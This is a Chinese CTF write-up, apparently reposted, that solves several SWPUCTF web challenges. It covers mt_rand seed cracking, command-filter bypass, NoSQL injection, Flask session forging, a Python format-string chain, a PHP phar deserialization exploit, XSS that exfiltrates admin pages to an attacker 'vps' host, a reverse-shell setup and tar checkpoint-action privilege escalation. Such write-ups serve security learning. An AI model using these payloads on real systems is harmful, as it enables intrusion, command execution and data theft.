内容简介:随手尝试www.zip发现文件泄露不难发现,虽然我们没有种子,但是我们能得到15个生成的随机数
文章首发于先知 https://xz.aliyun.com/t/3656
用优惠码 买个 X ?
信息搜集
随手尝试www.zip
发现文件泄露
<?php //生成优惠码 $_SESSION['seed']=rand(0,999999999); function youhuima(){ mt_srand($_SESSION['seed']); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; $auth=''; $len=15; for ( $i = 0; $i < $len; $i++ ){ if($i<=($len/2)) $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1); else $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1); } setcookie('Auth', $auth); } //support if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //执行命令 }else { //flag字段和某些字符被过滤! } }else{ // 你的输入不正确! } ?>
然后发现题目注册用户登录后,会得到一个优惠码
然而在使用的时候会提示
这就很难受了,明明是15位的优惠码,告诉我要24位的,这里就想到了随机数预测
种子爆破
不难发现,虽然我们没有种子,但是我们能得到15个生成的随机数
于是使用工具
http://www.openwall.com/php_mt_seed/
进行恢复,按照这个思路写出脚本,并按照 工具 的Input格式进行处理
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='SUjJQvy1e2NyihU' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)): if i<=length/2: for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' break else: for j in range(len(str3)): if str2[i] == str1[j]: res+=str(len(str1)-j)+' '+str(len(str1)-j)+' '+'0'+' '+str(len(str1)-1)+' ' break print res
运行得到结果
我们即可得到满足条件的seed:
seed = 0x016bbc5d = 23837789 (PHP 7.1.0+)
下面容易想到,将题目中的 len=15
改成 len=24
,生成优惠码,即可购买成功
Bypass RCE
购买成功后,跳转到RCE的界面,阅读过滤
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){ //执行命令 }else { //flag字段和某些字符被过滤! } }else{ // 你的输入不正确! }
发现必须使用ip的格式,这里使用换行符 %0a
即可轻松绕过
然后是关键词过滤,发现通配符 ?
以及 *
都被过滤
这里想到bypass技巧
c\at /fl\ag
即可拿到flag
Injection ???
信息搜集
题目提示了
查看下去,发现
猜测题目应该使用了MongoDB
注入
尝试测试一下
password[$ne]=\
而一般情况下为
那么应该可以判断为NoSQL注入
那么进行盲注:
吐槽一下,由于有验证码,而我又不会验证码识别。。。于是只能手动测试:(
最后得到密码
username = admin password = skmun
getflag
登录后即可得到flag
皇家线上赌场
信息搜集
拿到题目F12发现关键信息
<script src="/static?file=test.js"></script> <!-- /source -->
首先确定:
1.存在文件包含
2.有泄露
于是进行查看
view-source:http://107.167.188.241/source
[root@localhost]# tree web web/ ├── app │ ├── forms.py │ ├── __init__.py │ ├── models.py │ ├── static │ ├── templates │ ├── utils.py │ └── views.py ├── req.txt ├── run.py ├── server.log ├── start.sh └── uwsgi.ini [root@localhost]# cat views.py.bak filename = request.args.get('file', 'test.js') if filename.find('..') != -1: return abort(403) if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404) filename = os.path.join('app/static', filename)
源码读取
那么思路应该是利用文件包含进行文件读取了
但是不能进行目录穿越,于是得先知道绝对路径,这里想到之前HCTF的方法:
http://107.167.188.241/static?file=/proc/self/environ
发现500了,应该是没有权限,换个思路
http://107.167.188.241/static?file=/proc/self/maps
发现了 python 路径,但是看到内容
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404)
我们没有办法使用这个绝对路径,尝试了一下bypass,例如
/home/ctf/web_assli3fasdf/././././app
发现也不行,出题人说用了abspath
看来只能想想有没有其他途径读取文件,这里想到如下方法
我们知道
/proc/[pid]/cwd是进程当前工作目录的符号链接
既然之前的路径无法用,那么我们可以考虑从proc进行读取,如下:
http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
这也我们以后进行文件读取,拓宽了一些思路,并且只发现了只有以下文件可以读到,应该是出题人做了限制
得到文件内容
init.py
from flask import Flask from flask_sqlalchemy import SQLAlchemy from .views import register_views from .models import db def create_app(): app = Flask(__name__, static_folder='') app.secret_key = '9f516783b42730b7888008dd5c15fe66' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db' register_views(app) db.init_app(app) return app
views.py
def register_views(app): @app.before_request def reset_account(): if request.path == '/signup' or request.path == '/login': return uname = username=session.get('username') u = User.query.filter_by(username=uname).first() if u: g.u = u g.flag = 'swpuctf{xxxxxxxxxxxxxx}' if uname == 'admin': return now = int(time()) if (now - u.ts >= 600): u.balance = 10000 u.count = 0 u.ts = now u.save() session['balance'] = 10000 session['count'] = 0 @app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
session伪造
首先从views.py开始审计,发现需要 u.balance > 1000000
,并且我们又拥有 secret_key
不难想到进行session构造
python3 session_cookie_manager.py encode -s '9f516783b42730b7888008dd5c15fe66' -t "{u'count': 1000000000, u'username': u'admin', u'csrf_token': u'559da19dcf76705bb469aaa42e951440ff338728', u'balance': 1000000000.0}"
得到伪造session
.eJxNzTkKgDAURdG9vDpIohmMm5GfCUT9gkMl7t00grc8zb0RaCGOGYOSX40UiNvF5x8rHXsZz23OjAHG-ETKp1icddKEoK0nIt1mb5TWspSu613bQ-A68s601gUorRPjeQGJBCFC.XBd6uw.iqU7NNEiz04SQrIwPwcxbgjplPA
格式化字符串攻击
然后就是最后的问题,怎么获取flag,我们看到关键函数
@app.route('/getflag', methods=('POST',)) @login_required def getflag(): u = getattr(g, 'u') if not u or u.balance < 1000000: return '{"s": -1, "msg": "error"}' field = request.form.get('field', 'username') mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
联想到题目提示python3.5以及format,不难想到是格式化字符串的漏洞
那么剩下的应该是构造python继承链去读取g.flag
这里看到,我们的可控点是拼接在g.u后面的,所以我们需要上跳
而这里需要先知道g是什么:
很明显,如果我们需要读取g的值,我们需要一直上跳到app
而目前我们处于
很显然,结合 _init .py,我们应该先跳到db,再跳到app
这里题目提示我们
于是我们尝试这个类中的save方法
可以发现db,于是我们继续上跳
发现存在current_app
紧接着受到源码的启发
我们可以继续调用方法
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__
不难发现找到了g,我们查看flag
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag
得到flag: swpuctf{tHl$_15_4_f14G}
SimplePHP
信息搜集
看了一下文件的功能:
读文件 http://120.79.158.180:11115/file.php?file= 上传文件 http://120.79.158.180:11115/upload_file.php
于是尝试Leak一下源码
http://120.79.158.180:11115/file.php?file=file.php
file.php
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
反序列化
看到
$show = new Show(); if(file_exists($file))
本能的想到了phar,于是去读class.php
http://120.79.158.180:11115/file.php?file=class.php
class.php
?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
分析一下这个pop链
首先是show()
public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } }
发现过滤了 f1ag
,那么利用点肯定不是它了,接着读到Test类,发现
public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }
于是将目光锁定在Test类,那么开始想构造链
发现
public function __get($key) { return $this->get($key); }
不难知道,这个方法要在调用不存在属性的时候才会被触发
又看回Show类,发现
public function __toString() { $content = $this->str['str']->source; return $content; }
这里调用了source属性,只要将 str['str']
赋值为Test类即可
那么怎么触发 __toString
呢?
不难知道这个函数要在输出对象的时候才会被触发
看到C1e4r类
public function __destruct() { $this->test = $this->str; echo $this->test; }
发现这里会进行对象输出,那么整个pop链就清晰了
1.利用C1e4r类的__destruct()
中的
echo $this->test
2.触发Show类的
__toString()
3.利用Show类的
$content = $this->str['str']->source
4.触发Test类的
__get()
5.成功利用 file_get()
读文件
exp编写
思路清晰了,剩下的就是exp编写了
<?php $a = new Test(); $a->params = array("source"=>'/var/www/html/f1ag.php'); $b = new Show('index.php'); $b->str['str'] = $a; $c= new C1e4r($b); echo serialize($c); $obj = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.php', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($obj); $phar->stopBuffering(); rename('skyfuck.phar', 'skyfuck.gif')
getflag
上传skyfuck.gif
然后根据
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
计算出路径
4b8e34dafe69a6a5ec8ba799e46e8e92.jpg
触发反序列化
http://120.79.158.180:11115/file.php?file=phar://upload/4b8e34dafe69a6a5ec8ba799e46e8e92.jpg
解码
即可得到flag
有趣的邮箱注册
信息搜集
拿到题目发现2个功能
1.管理员页面
http://118.89.56.208:6324/admin/admin.php
2.邮箱申请
http://118.89.56.208:6324/check.php
然后发现访问管理员页面:
only localhost allowed!
那么思路比较明显了,需要用邮箱申请XSS去本地访问管理员页面,同时抓取页面内容
在check.php页面源代码发现代码
<!--check.php if($_POST['email']) { $email = $_POST['email']; if(!filter_var($email,FILTER_VALIDATE_EMAIL)){ echo "error email, please check your email"; }else{ echo "等待管理员自动审核"; echo $email; } } ?> -->
XSS
随机想bypass
filter_var($email,FILTER_VALIDATE_EMAIL)
不难发现只要使用了引号包裹就可以进行xss
"<script/src=//vps_ip/payload.js></script>"@example.com
随机构造读源码脚本
xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","admin.php",true); xmlhttp.send();
解码后得到
<br /><a href="admin/a0a.php?cmd=whoami">
发现存在rce
RCE
本能想到进行反弹shell,这样比较利于后续操作,于是改写脚本为
xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET",'http://localhost:6324/admin/a0a.php?cmd=echo%20"xxxxxxxxxxxxx"%20|%20base64%20-d%20>%20/tmp/sky.sh',true); xmlhttp.send();
向/tmp写入一个sky.sh
然后
xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET",'http://localhost:6324/admin/a0a.php?cmd=/bin/bash%20/tmp/sky.sh',true); xmlhttp.send();
在根目录发现flag,但是不可读
信息再次发掘
进一步寻找信息,在 /var/www/html
下发现
发现还有一个目录,于是进行查看
发现果然还有题目
然后查看代码
backup.php
<?php include("upload.php"); echo "上传目录:" . $upload_dir . "<br />"; $sys = "tar -czf z.tar.gz *"; chdir($upload_dir); system($sys); if(file_exists('z.tar.gz')){ echo "上传目录下的所有文件备份成功!<br />"; echo "备份文件名: z.tar.gz"; }else{ echo "未上传文件,无法备份!"; } ?>
提权与getflag
后面想到的只能是提权了,看代码好像毫无什么明显问题
随后搜到这样一篇文章
https://blog.csdn.net/qq_27446553/article/details/80943097
文章中,利用root的定时备份,成功反弹了root的shell,那么同理
这里我们的题目用flag用户进行备份,我们只要按照他的步骤,即可让flag用户帮我们执行sky.sh
于是利用上传,进行3个文件上传,文件名分别为
sky.sh --checkpoint-action=exec=sh sky.sh --checkpoint=1
sky.sh的内容为
cat /flag | base64
然后全部上传完毕,进行备份
即可得到flag: swpuctf{xss_!_tar_exec_instr3st1ng}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
深度学习
[美] 伊恩·古德费洛、[加] 约书亚·本吉奥、[加] 亚伦·库维尔 / 赵申剑、黎彧君、符天凡、李凯 / 人民邮电出版社 / 2017-7-1 / 168
《深度学习》由全球知名的三位专家Ian Goodfellow、Yoshua Bengio 和Aaron Courville撰写,是深度学习领域奠基性的经典教材。全书的内容包括3个部分:第1部分介绍基本的数学工具和机器学习的概念,它们是深度学习的预备知识;第2部分系统深入地讲解现今已成熟的深度学习方法和技术;第3部分讨论某些具有前瞻性的方向和想法,它们被公认为是深度学习未来的研究重点。 《深度......一起来看看 《深度学习》 这本书的介绍吧!